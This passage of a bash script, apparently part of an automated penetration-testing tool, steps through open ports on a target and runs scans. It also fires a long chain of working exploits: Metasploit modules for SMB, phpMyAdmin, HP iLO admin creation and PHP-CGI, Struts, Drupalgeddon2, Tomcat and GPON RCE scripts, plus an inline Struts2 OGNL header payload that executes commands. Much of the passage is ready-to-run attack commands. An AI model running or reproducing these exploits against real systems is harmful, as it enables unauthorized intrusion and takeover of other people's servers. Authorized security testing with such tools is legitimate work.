EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use auxiliary/scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS \"$TARGET\"; set RPORT 80; set WAIT 2; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/windows/http/badblue_passthru; setg RHOST \"$TARGET\"; set RPORT 80; run; back;exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST \"$TARGET\"; set RPORT 80; run; back;exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST \"$TARGET\"; set RPORT 80; set SSL false; run; back;exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port 80 + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-5638 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache_struts_cve-2017-5638.py -u http://$TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-9805 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache_struts_cve-2017-9805.py -u http://$TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://$TARGET | head -n 1 + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + ruby $INSTALL_DIR/bin/drupalgeddon2.rb http://$TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING CISCO ASA TRAVERSAL CVE-2018-0296 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/cisco-asa-traversal.py http://$TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd /tmp/ + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET + cd $INSTALL_DIR + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING GPON ROUTER EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/gpon_rce.py http://$TARGET:$PORT 'whoami' + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE TOMCAT CVE-2017-12617 RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/tomcat-cve-2017-12617.py -u http://$TARGET + fi + + if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; then + if [ $OSINT == "0" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + else + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + goohak $TARGET > /dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET.txt + rm -Rf output/ cookie.txt exploits.conf + GHDB="1" + fi +fi + +if [ -z "$port_110" ]; +then + echo -e "$OKRED + -- --=[Port 110 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 110 opened... running tests...$RESET" + nmap -A -sV -T5 --script=pop* -p 110 $TARGET +fi + +if [ -z "$port_111" ]; +then + echo -e "$OKRED + -- --=[Port 111 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 111 opened... running tests...$RESET" + msfconsole -q -x "use auxiliary/scanner/nfs/nfsmount; setg RHOSTS \"$TARGET\"; run; back;exit;" + showmount -a $TARGET + showmount -d $TARGET + showmount -e $TARGET +fi + +if [ -z "$port_123" ]; +then + echo -e "$OKRED + -- --=[Port 123 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 123 opened... running tests...$RESET" + nmap -A -sU -sV -Pn -T5 --script=ntp-* -p 123 $TARGET +fi + +if [ -z "$port_135" ]; +then + echo -e "$OKRED + -- --=[Port 135 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 135 opened... running tests...$RESET" + rpcinfo -p $TARGET + nmap -A -p 135 -T5 --script=rpc* $TARGET + msfconsole -x "use exploit/windows/dcerpc/ms03_026_dcom; setg RHOST \"$TARGET\"; run; back; exit;" +fi + +if [ -z "$port_137" ]; +then + echo -e "$OKRED + -- --=[Port 137 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 137 opened... running tests...$RESET" + rpcinfo -p $TARGET + nmap -A -p 137 -T5 --script=broadcast-netbios-master-browser* $TARGET + msfconsole -q -x "use auxiliary/scanner/netbios/nbname; setg RHOSTS $TARGET; run; back;exit;" +fi + +if [ -z "$port_139" ]; +then + echo -e "$OKRED + -- --=[Port 139 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 139 opened... running tests...$RESET" + SMB="1" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING SMB ENUMERATION $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + enum4linux $TARGET + python $SAMRDUMP $TARGET + nbtscan $TARGET + nmap -A -sV -T5 -p139 --script=smb-server-stats --script=smb-ls --script=smb-enum-domains --script=smb-protocols --script=smb-psexec --script=smb-enum-groups --script=smb-enum-processes --script=smb-brute --script=smb-print-text --script=smb-security-mode --script=smb-os-discovery --script=smb-enum-sessions --script=smb-mbenum --script=smb-enum-users --script=smb-enum-shares --script=smb-system-info --script=smb-vuln-ms10-054 --script=smb-vuln-ms10-061 $TARGET + msfconsole -x "use auxiliary/scanner/smb/pipe_auditor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use auxiliary/scanner/smb/pipe_dcerpc_auditor; run; use auxiliary/scanner/smb/psexec_loggedin_users; run; use auxiliary/scanner/smb/smb2; run; use auxiliary/scanner/smb/smb_enum_gpp; run; use auxiliary/scanner/smb/smb_enumshares; run; use auxiliary/scanner/smb/smb_enumusers; run; use auxiliary/scanner/smb/smb_enumusers_domain; run; use auxiliary/scanner/smb/smb_login; run; use auxiliary/scanner/smb/smb_lookupsid; run; use auxiliary/scanner/smb/smb_uninit_cred; run; use auxiliary/scanner/smb/smb_version; run; use exploit/linux/samba/chain_reply; run; use windows/smb/ms08_067_netapi; run; use auxiliary/scanner/smb/smb_ms17_010; run; exit;" +fi + +if [ -z "$port_161" ]; +then + echo -e "$OKRED + -- --=[Port 161 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 161 opened... running tests...$RESET" + nmap --script=/usr/share/nmap/scripts/snmp-brute.nse,/usr/share/nmap/scripts/snmp-hh3c-logins.nse,/usr/share/nmap/scripts/snmp-interfaces.nse,/usr/share/nmap/scripts/snmp-ios-config.nse,/usr/share/nmap/scripts/snmp-netstat.nse,/usr/share/nmap/scripts/snmp-processes.nse,/usr/share/nmap/scripts/snmp-sysdescr.nse,/usr/share/nmap/scripts/snmp-win32-services.nse,/usr/share/nmap/scripts/snmp-win32-shares.nse,/usr/share/nmap/scripts/snmp-win32-software.nse,/usr/share/nmap/scripts/snmp-win32-users.nse -sV -A -p 161 -sU -sT $TARGET + msfconsole -x "use scanner/snmp/snmp_enum; setg RHOSTS "$TARGET"; run; exit;" +fi + +if [ -z "$port_162" ]; +then + echo -e "$OKRED + -- --=[Port 162 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 162 opened... running tests...$RESET" + nmap --script=/usr/share/nmap/scripts/snmp-brute.nse,/usr/share/nmap/scripts/snmp-hh3c-logins.nse,/usr/share/nmap/scripts/snmp-interfaces.nse,/usr/share/nmap/scripts/snmp-ios-config.nse,/usr/share/nmap/scripts/snmp-netstat.nse,/usr/share/nmap/scripts/snmp-processes.nse,/usr/share/nmap/scripts/snmp-sysdescr.nse,/usr/share/nmap/scripts/snmp-win32-services.nse,/usr/share/nmap/scripts/snmp-win32-shares.nse,/usr/share/nmap/scripts/snmp-win32-software.nse,/usr/share/nmap/scripts/snmp-win32-users.nse -sV -A -p 162 -sU -sT $TARGET + msfconsole -x "use scanner/snmp/snmp_enum; setg RHOSTS "$TARGET"; run; exit;" +fi + +if [ -z "$port_389" ]; +then + echo -e "$OKRED + -- --=[Port 389 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 389 opened... running tests...$RESET" + nmap -A -p 389 -Pn -T5 --script=ldap* $TARGET +fi + +if [ -z "$port_443" ]; +then + echo -e "$OKRED + -- --=[Port 443 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 443 opened... running tests...$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR WAF $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-https > $LOOT_DIR/web/waf-$TARGET-https.txt 2> /dev/null + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING HTTP INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + whatweb -a 3 https://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-https 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https > $LOOT_DIR/web/whatweb-$TARGET-https.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING SERVER INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 https://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-https + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING HTTP HEADERS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null + curl --connect-timeout 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET | tee $LOOT_DIR/web/sslyze-$TARGET.txt 2> /dev/null + sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET.raw > $LOOT_DIR/web/sslscan-$TARGET.txt 2> /dev/null + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SAVING SCREENSHOTS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=1000 2> /dev/null + fi + echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg" + + if [ "$MODE" = "web" ]; + then + if [ "$PASSIVE_SPIDER" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null + fi + + if [ "$BLACKWIDOW" == "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + blackwidow -u https://$TARGET -l 3 -s y -v y + cat /usr/share/blackwidow/$TARGET/$TARGET-urls-sorted.txt >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_INSANE -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null + wget https://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-https.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING NMAP HTTP SCRIPTS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -A -sV -T5 -Pn -p 443 --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln* $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + clusterd --ssl -i $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wpscan --url https://$TARGET --batch --disable-tls-checks + echo "" + wpscan --url https://$TARGET/wordpress/ --batch --disable-tls-checks + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING CMSMAP $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $CMSMAP -t https://$TARGET + echo "" + python $CMSMAP -t https://$TARGET/wordpress/ + echo "" + if [ "$NIKTO" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nikto -h https://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-https.txt + fi + cd $INSTALL_DIR + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "443"; setg SSL true; run; use scanner/http/webdav_website_content; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "443"; set SSL true; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "443"; set SSL true; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RPORT "443"; set SSL true; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING MS15-034 SYS MEMORY DUMP METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use auxiliary/scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS \"$TARGET\"; set RPORT 443; set SSL true; set WAIT 2; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/windows/http/badblue_passthru; setg RHOST \"$TARGET\"; set RPORT 443; set SSL true; run; back;exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST \"$TARGET\"; set RPORT 443; set SSL true; run; back;exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST \"$TARGET\"; set RPORT 443; set SSL true; run; back;exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 443; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port 443 --ssl + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-5638 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache_struts_cve-2017-5638.py -u https://$TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-9805 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache_struts_cve-2017-9805.py -u https://$TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://$TARGET | head -n 1 + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2018-11776 RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache-struts-CVE-2018-11776.py -u https://$TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + ruby $INSTALL_DIR/bin/drupalgeddon2.rb https://$TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING CISCO ASA TRAVERSAL CVE-2018-0296 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/cisco-asa-traversal.py https://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd /tmp/ + python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET + cd $INSTALL_DIR + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING GPON ROUTER EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/gpon_rce.py https://$TARGET:$PORT 'whoami' + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE TOMCAT CVE-2017-12617 RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/tomcat-cve-2017-12617.py -u https://$TARGET + + fi + + if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; then + if [ -z $GHDB ]; then + if [ $OSINT == "0" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + else + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + goohak $TARGET > /dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET.txt + rm -Rf output/ cookie.txt exploits.conf + fi + fi +fi + +if [ -z "$port_445" ]; +then + echo -e "$OKRED + -- --=[Port 445 closed... skipping.$RESET" +elif [ $SMB = "1" ]; +then + echo -e "$OKRED + -- --=[Port 445 scanned... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 445 opened... running tests...$RESET" + enum4linux $TARGET + python $SAMRDUMP $TARGET + nbtscan $TARGET + nmap -A -sV -Pn -T5 -p445 --script=smb-server-stats --script=smb-ls --script=smb-enum-domains --script=smb-protocols --script=smb-psexec --script=smb-enum-groups --script=smb-enum-processes --script=smb-brute --script=smb-print-text --script=smb-security-mode --script=smb-os-discovery --script=smb-enum-sessions --script=smb-mbenum --script=smb-enum-users --script=smb-enum-shares --script=smb-system-info --script=smb-vuln-ms10-054 --script=smb-vuln-ms10-061 $TARGET + + + + + + + + msfconsole -x "setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; use auxiliary/scanner/smb/smb_version; run; use auxiliary/scanner/smb/pipe_auditor; run; use auxiliary/scanner/smb/pipe_dcerpc_auditor; run; use auxiliary/scanner/smb/psexec_loggedin_users; run; use auxiliary/scanner/smb/smb2; run; use auxiliary/scanner/smb/smb_enum_gpp; run; use auxiliary/scanner/smb/smb_enumshares; run; use auxiliary/scanner/smb/smb_enumusers; run; use auxiliary/scanner/smb/smb_enumusers_domain; run; use auxiliary/scanner/smb/smb_login; run; use auxiliary/scanner/smb/smb_lookupsid; run; use auxiliary/scanner/smb/smb_uninit_cred; run; use auxiliary/scanner/smb/smb_version; run; use exploit/linux/samba/chain_reply; run; use windows/smb/ms08_067_netapi; run; use exploit/windows/smb/ms06_040_netapi; run; use exploit/windows/smb/ms05_039_pnp; run; use exploit/windows/smb/ms10_061_spoolss; run; use exploit/windows/smb/ms09_050_smb2_negotiate_func_index; run; use auxiliary/scanner/smb/smb_enum_gpp; run; use auxiliary/scanner/smb/smb_ms17_010; run; exit;" +fi + +if [ -z "$port_512" ]; +then + echo -e "$OKRED + -- --=[Port 512 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 512 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 -p 512 --script=rexec* $TARGET +fi + +if [ -z "$port_513" ] +then + echo -e "$OKRED + -- --=[Port 513 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 513 opened... running tests...$RESET" + nmap -A -sV -T5 -Pn -p 513 --script=rlogin* $TARGET +fi + +if [ -z "$port_514" ]; +then + echo -e "$OKRED + -- --=[Port 514 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 514 opened... running tests...$RESET" + amap $TARGET 514 -A +fi + +if [ -z "$port_623" ]; +then + echo -e "$OKRED + -- --=[Port 623 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 623 opened... running tests...$RESET" + amap $TARGET 623 -A + nmap -A -sV -Pn -T5 --script=/usr/share/nmap/scripts/http-vuln-INTEL-SA-00075.nse -p 623 $TARGET +fi + +if [ -z "$port_624" ]; +then + echo -e "$OKRED + -- --=[Port 624 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 624 opened... running tests...$RESET" + amap $TARGET 624 -A + nmap -A -sV -Pn -T5 --script=/usr/share/nmap/scripts/http-vuln-INTEL-SA-00075.nse -p 624 $TARGET +fi + +if [ -z "$port_1099" ]; +then + echo -e "$OKRED + -- --=[Port 1099 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 1099 opened... running tests...$RESET" + amap $TARGET 1099 -A + nmap -A -sV -Pn -T5 -p 1099 --script=rmi-* $TARGET + msfconsole -x "use gather/java_rmi_registry; set RHOST "$TARGET"; run;" + msfconsole -x "use scanner/misc/java_rmi_server; set RHOST "$TARGET"; run;" +fi + +if [ -z "$port_1433" ]; +then + echo -e "$OKRED + -- --=[Port 1433 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 1433 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=ms-sql* -p 1433 $TARGET +fi + +if [ -z "$port_2049" ]; +then + echo -e "$OKRED + -- --=[Port 2049 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 2049 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=nfs* -p 2049 $TARGET + rpcinfo -p $TARGET + showmount -e $TARGET + smbclient -L $TARGET -U " "%" " +fi + +if [ -z "$port_2121" ]; +then + echo -e "$OKRED + -- --=[Port 2121 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 2121 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=ftp* -p 2121 